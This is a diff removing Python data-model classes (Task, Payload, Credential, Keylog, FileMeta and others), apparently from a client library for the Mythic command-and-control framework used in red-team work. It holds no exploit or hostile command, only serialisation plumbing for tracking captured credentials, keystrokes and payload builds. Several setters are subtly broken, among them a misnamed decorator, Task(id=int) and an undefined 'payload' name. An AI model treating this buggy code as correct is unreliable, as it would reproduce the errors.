- def encryption_type(self) -> str:
- return self._encryption_type
-
- @encryption_type.setter
- def encryption_type(self, encryption_type):
- self._encryption_type = encryption_type
-
- @property
- def decryption_key(self) -> str:
- return self._decryption_key
-
- @decryption_key.setter
- def decryption_key(self, decryption_key):
- self._decryption_key = decryption_key
-
- @property
- def encryption_key(self) -> str:
- return self._encryption_key
-
- @encryption_key.setter
- def encryption_key(self, encryption_key):
- self._encryption_key = encryption_key
-
- @property
- def tasks(self) -> List["Task"]:
- return self._tasks
-
- @tasks.setter
- def tasks(self, tasks):
- if isinstance(tasks, List):
- self._tasks = [Task(**x) if isinstance(x, Dict) else x for x in tasks]
- elif tasks is None:
- self._tasks = tasks
- else:
- self._tasks = [Task(**tasks) if isinstance(tasks, Dict) else tasks]
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def supported_profiles(self) -> List[C2Profile]:
- return self._supported_profiles
-
- @supported_profiles.setter
- def supported_profiles(self, supported_profiles):
- if supported_profiles is None:
- self._supported_profiles = supported_profiles
- else:
- self._supported_profiles = [x if isinstance(x, C2Profile) else C2Profile(**x) for x in supported_profiles]
-
-
-class TaskFile:
- def __init__(self, content: Union[bytes, str], filename: str, param_name: str):
- self._filename = filename
- if isinstance(content, bytes):
- self._content = content
- else:
- self._content = base64.b64decode(content)
- self._param_name = param_name
-
- @property
- def filename(self):
- return self._filename
-
- @filename.setter
- def filename(self, filename):
- self._filename = filename
-
- @property
- def param_name(self):
- return self._param_name
-
- @param_name.setter
- def param_name(self, param_name):
- self._param_name = param_name
-
- @property
- def content(self):
- return self._content
-
- @content.setter
- def content(self, content):
- if isinstance(content, bytes):
- self._content = content
- else:
- self._content = base64.b64decode(content)
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
-
-class Task:
- def __init__(
- self,
- command: Union[Command, str] = None,
- agent_task_id: str = None,
- command_id: str = None,
- params: str = None,
- files: List[TaskFile] = None,
- timestamp: str = None,
- callback: Union[Callback, int, Dict] = None,
- operator: Union[Operator, str] = None,
- status: str = None,
- task_status: str = None, # sometimes this is set to not conflict with overall status message
- original_params: str = None,
- comment: str = None,
- comment_operator: Union[Operator, str] = None,
- completed: bool = None,
- id: int = None,
- status_timestamp_preprocessing: str = None,
- status_timestamp_processed: str = None,
- status_timestamp_submitted: str = None,
- status_timestamp_processing: str = None,
- operation: str = None,
- responses: List[Union["Response", Dict]] = None,
- ):
- if isinstance(command, Command) or command is None:
- self._command = command
- else:
- self._command = Command(cmd=command)
- self.params = params
- self.timestamp = timestamp
- self.agent_task_id = agent_task_id
- self.command_id = command_id
- self.status_timestamp_preprocessing = status_timestamp_preprocessing
- self.status_timestamp_processed = status_timestamp_processed
- self.status_timestamp_submitted = status_timestamp_submitted
- self.status_timestamp_processing = status_timestamp_processing
- self.operation = operation
- self.completed = completed
- if isinstance(callback, Callback) or callback is None:
- self._callback = callback
- elif isinstance(callback, Dict):
- self._callback = Callback(**callback)
- else:
- self._callback = Callback(id=callback)
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
- self.status = status
- self._original_params = original_params
- if comment == "":
- self._comment = None
- else:
- self._comment = comment
- if isinstance(comment_operator, Operator) or comment_operator is None:
- self._comment_operator = comment_operator
- elif comment_operator == "null":
- self._comment_operator = None
- else:
- self._comment_operator = Operator(username=comment_operator)
- self._id = id
- if isinstance(responses, List):
- self._responses = [
- Response(**x) if isinstance(x, Dict) else x for x in responses
- ]
- elif responses is None:
- self._responses = responses
- else:
- self._responses = [
- Response(**responses)
- if isinstance(responses, Dict)
- else Response(response=responses)
- ]
- if self._status is None:
- self._status = task_status
- if isinstance(files, List):
- self._files = files
- elif isinstance(files, TaskFile):
- self._files = [files]
- elif files is None:
- self._files = None
- else:
- raise Exception("Invalid value for files parameter")
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, Task):
- return self._id == other.id
- return False
-
- @property
- def command(self) -> Command:
- return self._command
-
- @command.setter
- def command(self, command):
- if isinstance(command, Command) or command is None:
- self._command = command
- else:
- self._command = Command(cmd=command)
-
- @property
- def params(self) -> str:
- return self._params
-
- @params.setter
- def params(self, params):
- if params is None:
- self._params = ""
- else:
- self._params = params
-
- @property
- def files(self) -> List[TaskFile]:
- return self._files
-
- @files.setter
- def files(self, files):
- if isinstance(files, List):
- self._files = files
- elif isinstance(files, TaskFile):
- self._files = [files]
- elif files is None:
- self._files = None
- else:
- raise Exception("Invalid value for files parameter")
-
- @property
- def timestamp(self) -> str:
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def callback(self) -> Callback:
- return self._callback
-
- @callback.setter
- def callback(self, callback):
- if isinstance(callback, Callback):
- self._callback = callback
- else:
- self._callback = Callback(id=callback)
-
- @property
- def operator(self) -> Operator:
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
-
- @property
- def status(self) -> str:
- return self._status
-
- @status.setter
- def status(self, status):
- self._status = status
-
- @property
- def original_params(self) -> str:
- return self._original_params
-
- @original_params.setter
- def original_params(self, original_params):
- self._original_params = original_params
-
- @property
- def comment(self) -> str:
- return self._comment
-
- @comment.setter
- def comment(self, comment):
- if comment == "":
- self._comment = None
- else:
- self._comment = comment
-
- @property
- def comment_operator(self) -> Operator:
- return self._comment_operator
-
- @comment_operator.setter
- def comment_operator(self, comment_operator):
- if isinstance(comment_operator, Operator) or comment_operator is None:
- self._comment_operator = comment_operator
- elif comment_operator == "null":
- self._comment_operator = None
- else:
- self._comment_operator = Operator(username=comment_operator)
-
- @property
- def responses(self) -> List["Response"]:
- return self._responses
-
- @responses.setter
- def responses(self, responses):
- if isinstance(responses, List):
- self._responses = [
- Response(**x) if isinstance(x, Dict) else x for x in responses
- ]
- elif responses is None:
- self._responses = responses
- else:
- self._responses = [
- Response(**responses)
- if isinstance(responses, Dict)
- else Response(response=responses)
- ]
-
- @property
- def id(self):
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def task_status(self) -> str:
- return self._status
-
- @task_status.setter
- def task_status(self, task_status):
- self._status = task_status
-
- @property
- def completed(self) -> bool:
- return self._completed
-
- @completed.setter
- def completed(self, completed):
- self._completed = completed
-
-
-class Payload:
- def __init__(
- self,
- uuid: str = None,
- tag: str = None,
- operator: Union[Operator, str] = None,
- creation_time: str = None,
- payload_type: Union[PayloadType, str] = None,
- pcallback: Union["Callback", int] = None,
- c2_profiles: Dict[
- Union[C2Profile, str, Dict], List[Union[C2ProfileParameters, Dict]]
- ] = None,
- operation: Union[Operation, str] = None,
- wrapped_payload: Union["Payload", str] = None,
- deleted: bool = None,
- build_container: str = None,
- build_phase: str = None,
- build_message: str = None,
- callback_alert: bool = None,
- auto_generated: bool = None,
- task: Union[Task, Dict] = None,
- file_id: Union["FileMeta", Dict] = None,
- id: int = None,
- build_parameters: List[Dict] = None,
- commands: List = None,
- filename: str = None,
- ):
- self._uuid = uuid
- self._tag = tag
- self._build_container = build_container
- self._callback_alert = callback_alert
- self._auto_generated = auto_generated
- self._build_parameters = build_parameters
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
- self._creation_time = creation_time
- if isinstance(payload_type, PayloadType) or payload_type is None:
- self._payload_type = payload_type
- else:
- self._payload_type = PayloadType(ptype=payload_type)
- if isinstance(pcallback, Callback) or pcallback is None:
- self._pcallback = pcallback
- else:
- self._pcallback = Callback(id=pcallback)
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
- if isinstance(task, Task) or task is None:
- self._task = task
- else:
- self._task = Task(**task)
- if isinstance(file_id, FileMeta) or file_id is None:
- self._file_id = file_id
- else:
- self._file_id = FileMeta(**file_id)
- if isinstance(wrapped_payload, Payload) or wrapped_payload is None:
- self._wrapped_payload = wrapped_payload
- else:
- self._wrapped_payload = Payload(uuid=wrapped_payload)
- self._deleted = deleted
- self._build_phase = build_phase
- self._build_message = build_message
- self._id = id
- if isinstance(commands, List) and len(commands) > 0:
- if isinstance(commands[0], Command):
- self._commands = commands
- elif isinstance(commands[0], Dict):
- self._commands = [Command(**x) for x in commands]
- else:
- self._commands = [Command(cmd=x) for x in commands]
- else:
- self._commands = None
- if isinstance(c2_profiles, Dict):
- self._c2_profiles = {}
- for k, v in c2_profiles.items():
- key = (
- k["name"]
- if isinstance(k, Dict)
- else k.name
- if isinstance(k, C2Profile)
- else k
- )
- self._c2_profiles[key] = []
- for i in v:
- # now iterate over each list of parameters for the profile
- if isinstance(i, C2ProfileParameters):
- self._c2_profiles[key].append(i)
- elif isinstance(i, Dict):
- self._c2_profiles[key].append(C2ProfileParameters(**i))
- else:
- self._c2_profiles = None
- self._filename = filename
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, Payload):
- return self._uuid == other.uuid
- return False
-
- @property
- def uuid(self) -> str:
- return self._uuid
-
- @uuid.setter
- def uuid(self, uuid):
- self._uuid = uuid
-
- @property
- def tag(self) -> str:
- return self._tag
-
- @tag.setter
- def tag(self, tag):
- self._tag = tag
-
- @property
- def operator(self) -> Operator:
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
-
- @property
- def creation_time(self) -> str:
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def payload_type(self) -> PayloadType:
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- if isinstance(payload_type, PayloadType) or payload_type is None:
- self._payload_type = payload_type
- else:
- self._payload_type = PayloadType(ptype=payload_type)
-
- @property
- def pcallback(self) -> "Callback":
- return self._pcallback
-
- @pcallback.setter
- def pcallback(self, pcallback):
- if isinstance(pcallback, Callback) or pcallback is None:
- self._pcallback = pcallback
- else:
- self._pcallback = Callback(id=pcallback)
-
- @property
- def c2_profiles(self) -> Dict:
- return self._c2_profiles
-
- @c2_profiles.setter
- def c2_profiles(self, c2_profiles):
- if isinstance(c2_profiles, Dict):
- self._c2_profiles = {}
- for k, v in c2_profiles.items():
- key = (
- k["name"]
- if isinstance(k, Dict)
- else k.name
- if isinstance(k, C2Profile)
- else k
- )
- self._c2_profiles[key] = []
- for i in v:
- # now iterate over each list of parameters for the profile
- if isinstance(i, C2ProfileParameters):
- self._c2_profiles[key].append(i)
- elif isinstance(i, Dict):
- self._c2_profiles[key].append(C2ProfileParameters(**i))
- else:
- self._c2_profiles = None
-
- @property
- def operation(self) -> Operation:
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
-
- @property
- def wrapped_payload(self) -> "Payload":
- return self._wrapped_payload
-
- @wrapped_payload.setter
- def wrapped_payload(self, wrapped_payload):
- if isinstance(wrapped_payload, Payload) or wrapped_payload is None:
- self._wrapped_payload = wrapped_payload
- else:
- self._wrapped_payload = Payload(uuid=payload)
-
- @property
- def deleted(self) -> bool:
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def build_phase(self) -> str:
- return self._build_phase
-
- @build_phase.setter
- def build_phase(self, build_phase):
- self._build_phase = build_phase
-
- @property
- def build_message(self) -> str:
- return self._build_message
-
- @build_message.setter
- def build_message(self, build_message):
- self._build_message = build_message
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def build_container(self) -> str:
- return self._build_container
-
- @build_container.setter
- def build_container(self, build_container):
- self._build_container = build_container
-
- @property
- def commands(self) -> List[Command]:
- return self._commands
-
- @commands.setter
- def commands(self, commands):
- if isinstance(commands, List):
- self._commands = [
- Command(**x) if isinstance(x, Dict) else x for x in commands
- ]
- else:
- self._commands = None
-
- @property
- def build_parameters(self) -> List[Dict]:
- return self._build_parameters
-
- @build_parameters.setter
- def build_parameters(self, build_parameters):
- self._build_parameters = build_parameters
-
- @property
- def file_id(self) -> "FileMeta":
- return self._file_id
-
- @file_id.setter
- def file_id(self, file_id):
- if isinstance(file_id, "FileMeta") or file_id is None:
- self._file_id = file_id
- else:
- self._file_id = FileMeta(**file_id)
-
- @property
- def filename(self) -> str:
- return self._filename
-
- @filename.setter
- def filename(self, filename):
- self._filename = filename
-
-
-class FileMeta:
- def __init__(
- self,
- agent_file_id: str = None,
- total_chunks: int = None,
- chunks_received: int = None,
- chunk_size: int = None,
- task: Union[Task, Dict] = None,
- complete: bool = None,
- path: str = None,
- full_remote_path: str = None,
- host: str = None,
- is_payload: bool = None,
- is_screenshot: bool = None,
- is_download_from_agent: bool = None,
- file_browser: Dict = None,
- filename: str = None,
- delete_after_fetch: bool = None,
- operation: Union[Operation, str] = None,
- timestamp: str = None,
- deleted: bool = None,
- operator: Union[Operator, str] = None,
- md5: str = None,
- sha1: str = None,
- id: int = None,
- cmd: str = None,
- comment: str = None,
- upload: dict = None,
- params: dict = None,
- ):
- self._agent_file_id = agent_file_id
- self._total_chunks = total_chunks
- self._chunks_received = chunks_received
- self._chunk_size = chunk_size
- if isinstance(task, Task) or task is None:
- self._task = task
- else:
- self._task = Task(id=task)
- self._complete = complete
- self._path = path
- self._full_remote_path = full_remote_path
- self._host = host
- self._is_payload = is_payload
- self._is_screenshot = is_screenshot
- self._is_download_from_agent = is_download_from_agent
- self._file_browser = file_browser
- self._filename = filename
- self._delete_after_fetch = delete_after_fetch
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
- self._timestamp = timestamp
- self._deleted = deleted
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
- self._md5 = md5
- self._sha1 = sha1
- self._id = id
- self._cmd = cmd
- self._comment = comment
- self._upload = upload
- self._params = params
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, FileMeta):
- return self._id == other.id
- return False
-
- @property
- def agent_file_id(self):
- return self._agent_file_id
-
- @agent_file_id.setter
- def total_chunks(self, agent_file_id):
- self._agent_file_id = agent_file_id
-
- @property
- def total_chunks(self):
- return self._total_chunks
-
- @total_chunks.setter
- def total_chunks(self, total_chunks):
- self._total_chunks = total_chunks
-
- @property
- def chunks_received(self):
- return self._chunks_received
-
- @chunks_received.setter
- def chunks_received(self, chunks_received):
- self._chunks_received = chunks_received
-
- @property
- def chunk_size(self):
- return self._chunk_size
-
- @chunk_size.setter
- def chunk_size(self, chunk_size):
- self._chunk_size = chunk_size
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- if isinstance(task, Task) or task is None:
- self._task = task
- else:
- self._task = Task(id=task)
-
- @property
- def complete(self):
- return self._complete
-
- @complete.setter
- def complete(self, complete):
- self._complete = complete
-
- @property
- def path(self):
- return self._path
-
- @path.setter
- def path(self, path):
- self._path = path
-
- @property
- def full_remote_path(self):
- return self._full_remote_path
-
- @full_remote_path.setter
- def full_remote_path(self, full_remote_path):
- self._full_remote_path = full_remote_path
-
- @property
- def host(self):
- return self._host
-
- @host.setter
- def host(self, host):
- self._host = host
-
- @property
- def is_payload(self):
- return self._is_payload
-
- @is_payload.setter
- def is_payload(self, is_payload):
- self._is_payload = is_payload
-
- @property
- def is_screenshot(self):
- return self._is_screenshot
-
- @is_screenshot.setter
- def is_screenshot(self, is_screenshot):
- self._is_screenshot = is_screenshot
-
- @property
- def is_download_from_agent(self):
- return self._is_download_from_agent
-
- @is_download_from_agent.setter
- def is_download_from_agent(self, is_download_from_agent):
- self._is_download_from_agent = is_download_from_agent
-
- @property
- def file_browser(self):
- return self._file_browser
-
- @file_browser.setter
- def file_browser(self, file_browser):
- self._file_browser = file_browser
-
- @property
- def filename(self):
- return self._filename
-
- @filename.setter
- def filename(self, filename):
- self._filename = filename
-
- @property
- def delete_after_fetch(self):
- return self._delete_after_fetch
-
- @delete_after_fetch.setter
- def delete_after_fetch(self, delete_after_fetch):
- self._delete_after_fetch = delete_after_fetch
-
- @property
- def operation(self):
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
-
- @property
- def timestamp(self):
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
-
- @property
- def md5(self):
- return self._md5
-
- @md5.setter
- def md5(self, md5):
- self._md5 = md5
-
- @property
- def sha1(self):
- return self._sha1
-
- @sha1.setter
- def sha1(self, sha1):
- self._sha1 = sha1
-
- @property
- def id(self):
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def cmd(self):
- return self._cmd
-
- @cmd.setter
- def cmd(self, cmd):
- self._cmd = cmd
-
- @property
- def comment(self):
- return self._comment
-
- @comment.setter
- def comment(self, comment):
- self._comment = comment
-
- @property
- def upload(self):
- return self._upload
-
- @upload.setter
- def upload(self, upload):
- self._upload = upload
-
- @property
- def params(self):
- return self._params
-
- @params.setter
- def params(self, params):
- self._params = params
-
-
-class Response:
- def __init__(
- self,
- response: str = None,
- timestamp: str = None,
- task: Union[Task, int, Dict] = None, # JSON string of the corresponding task
- id: int = None,
- ):
- self._response = response
- self._timestamp = timestamp
- if isinstance(task, Task) or task is None:
- self._task = task
- elif isinstance(task, Dict):
- self._task = Task(**task)
- else:
- self._task = Task(id=task)
- self._id = id
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, Response):
- return self._id == other.id
- return False
-
- @property
- def response(self) -> str:
- return self._response
-
- @response.setter
- def response(self, response):
- self._response = response
-
- @property
- def timestamp(self) -> str:
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def task(self) -> Task:
- return self._task
-
- @task.setter
- def task(self, task):
- if isinstance(task, Task) or task is None:
- self._task = task
- elif isinstance(task, Dict):
- self._task = Task(**task)
- else:
- self._task = Task(id=task)
-
- @property
- def id(self):
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
-
-class Credential:
- def __init__(
- self,
- type: str = None,
- task: Union[Task, int] = None,
- task_command: Union[Command, str] = None,
- account: str = None,
- realm: str = None,
- id: int = None,
- operator: Union[Operator, str] = None,
- operation: Union[Operation, str] = None,
- timestamp: str = None,
- credential: bytes = None,
- comment: str = None,
- deleted: bool = None,
- new: bool = None,
- ):
- self._type = type
- if isinstance(task, Task) or task is None:
- self._task = task
- else:
- self._task = Task(id=task)
- if isinstance(task_command, Command) or task_command is None:
- self._task_command = task_command
- else:
- self._task_command = Command(cmd=task_command)
- self._account = account
- self._realm = realm
- self._id = id
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
- self._timestamp = timestamp
- self._credential = credential
- self._comment = comment
- self._deleted = deleted
- self._new = new
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, Credential):
- return self._id == other.id
- return False
-
- @property
- def type(self) -> str:
- return self._type
-
- @type.setter
- def type(self, type):
- self._type = type
-
- @property
- def task(self) -> Task:
- return self._task
-
- @task.setter
- def task(self, task):
- if isinstance(task, Task) or task is None:
- self._task = task
- else:
- self._task = Task(id=task)
-
- @property
- def task_command(self) -> Command:
- return self._task_command
-
- @task_command.setter
- def task_command(self, task_command):
- if isinstance(task_command, Command) or task_command is None:
- self._task_command = task_command
- else:
- self._task_command = Command(cmd=task_command)
-
- @property
- def account(self) -> str:
- return self._account
-
- @account.setter
- def account(self, account):
- self._account = account
-
- @property
- def realm(self) -> str:
- return self._realm
-
- @realm.setter
- def realm(self, realm):
- self._realm = realm
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def operator(self) -> Operator:
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
-
- @property
- def operation(self) -> Operation:
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
-
- @property
- def timestamp(self) -> str:
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def credential(self) -> bytes:
- return self._credential
-
- @credential.setter
- def credential(self, credential):
- self._credential = credential
-
- @property
- def comment(self) -> str:
- return self._comment
-
- @comment.setter
- def comment(self, comment):
- self._comment = comment
-
- @property
- def deleted(self) -> bool:
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def new(self) -> bool:
- return self._new
-
- @new.setter
- def new(self, new):
- self._new = new
-
-
-class Keylog:
- def __init__(
- self,
- task: Union[Task, int] = None,
- keystrokes: bytes = None,
- window: str = None,
- timestamp: str = None,
- operation: Union[Operation, str] = None,
- user: str = None,
- host: str = None,
- id: int = None,
- callback: Union[Callback, Dict] = None,
- ):
- self._keystrokes = keystrokes
- self._window = window
- self._timestamp = timestamp
- self._user = user
- self._host = host
- if isinstance(task, Task) or task is None:
- self._task = task
- else:
- self._task = Task(id=int)
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
- if isinstance(callback, Callback) or callback is None:
- self._callback = callback
- else:
- self._callback = Callback(**callback)
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, Keylog):
- return self._id == other.id
-
- @property
- def keystrokes(self) -> bytes:
- return self._keystrokes
-
- @keystrokes.setter
- def keystrokes(self, keystrokes):
- self._keystrokes = keystrokes
-
- @property
- def window(self) -> str:
- return self._window
-
- @window.setter
- def window(self, window):
- self._window = window
-
- @property
- def timestamp(self) -> str:
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def user(self) -> str:
- return self._user
-
- @user.setter
- def user(self, user):
- self._user = user
-
- @property
- def host(self) -> str:
- return self._host
-
- @host.setter
- def host(self, host):
- self._host = host
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def task(self) -> Task:
- return self._task
-
- @task.setter
- def task(self, task):
- if isinstance(task, Task) or task is None:
- self._task = task
- else:
- self._task = Task(id=int)
-
- @property
- def operation(self) -> Operation:
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
-
- @property
- def callback(self) -> Callback:
- return self._callback
-
- @callback.setter
- def callback(self, callback):
- if isinstance(callback, Callback) or callback is None:
- self._callback = callback
- else:
- self._callback = Callback(**callback)
-
-
-class DisabledCommandsProfile:
- def __init__(
- self,
- payload_types: List[Union[PayloadType, str, Dict]] = None,
- name: str = None,
- ):
- self._name = name
- if isinstance(payload_types, List):
- self._payload_types = [
- PayloadType(ptype=x)
- if isinstance(x, str)
- else PayloadType(**x)
- if isinstance(x, Dict)
- else x
- for x in payload_types
- ]
- else:
- self._payload_types = payload_types
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, DisabledCommandsProfile):
- return self._name == other.name
-
- @property
- def name(self) -> str:
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def payload_types(self) -> List[PayloadType]:
- return self._payload_types
-
- @payload_types.setter
- def payload_types(self, payload_types):
- if isinstance(payload_types, List):
- self._payload_types = [
- PayloadType(ptype=x)
- if isinstance(x, str)
- else PayloadType(**x)
- if isinstance(x, Dict)
- else x
- for x in payload_types
- ]
- else:
- self._payload_types = payload_types
-
-
-class EventMessage:
- def __init__(
- self,
- operator: Union[Operator, str] = None,
- timestamp: str = None,
- message: str = None,
- operation: Union[Operation, str] = None,
- level: str = None,
- deleted: bool = None,
- resolved: bool = None,
- id: int = None,
- channel: str = None,
- alerts: List[Dict] = None,
- ):
- self._timestamp = timestamp
- self._message = message
- self._level = level
- self._deleted = deleted
- self._resolved = resolved
- self._id = id
- self._channel = channel
- self._alerts = alerts
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, EventMessage):
- return self._id == other.id
-
- @property
- def operator(self) -> Operator:
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
-
- @property
- def timestamp(self) -> str:
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def message(self) -> str:
- return self._message
-
- @message.setter
- def message(self, message):
- self._message = message
-
- @property
- def operation(self) -> Operation:
- return self._operation
-
- @operation.setter
- def operation(self, operation):
- if isinstance(operation, Operation) or operation is None:
- self._operation = operation
- else:
- self._operation = Operation(name=operation)
-
- @property
- def level(self) -> str:
- return self._level
-
- @level.setter
- def level(self, level):
- self._level = level
-
- @property
- def deleted(self) -> bool:
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def resolved(self) -> bool:
- return self._resolved
-
- @resolved.setter
- def resolved(self, resolved):
- self._resolved = resolved
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def channel(self) -> str:
- return self._channel
-
- @channel.setter
- def channel(self, channel):
- self._channel = channel
-
- @property
- def alerts(self) -> List[Dict]:
- return self._alerts
-
- @alerts.setter
- def alerts(self, alerts):
- self._alerts = alerts
-
-
-class MythicResponse:
- def __init__(
- self,
- response=None,
- raw_response: Dict[str, str] = None,
- response_code: int = None,
- status: str = None,
- ):
- # set the response_code and raw_response automatically
- self.response_code = response_code
- self.raw_response = raw_response
- # determine and set status if it's not explicitly specified
- if status is None and "status" in raw_response:
- self.status = raw_response["status"]
- elif status is None and self.response_code != 200:
- self.status = "error"
- else:
- self.status = status
- # if the raw_response has a status indicator, remove it and set the response
- # otherwise just set response to raw_response and process later
- if "status" in raw_response and response is None:
- del raw_response["status"]
- self.response = raw_response
- elif response is None:
- self.response = raw_response
-
- def to_json(self):
- r = {}
- for k in vars(self):
- try:
- r[k] = getattr(self, k)
- except:
- r[k] = json.dumps(getattr(self, k))
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- @property
- def response(self):
- return self.__response
-
- @property
- def status(self):
- return self.__status
-
- @property
- def response_code(self):
- return self.__response_code
-
- @property
- def raw_response(self):
- return self.__raw_response
-
- @response.setter
- def response(self, response):
- self.__response = response
-
- @response_code.setter
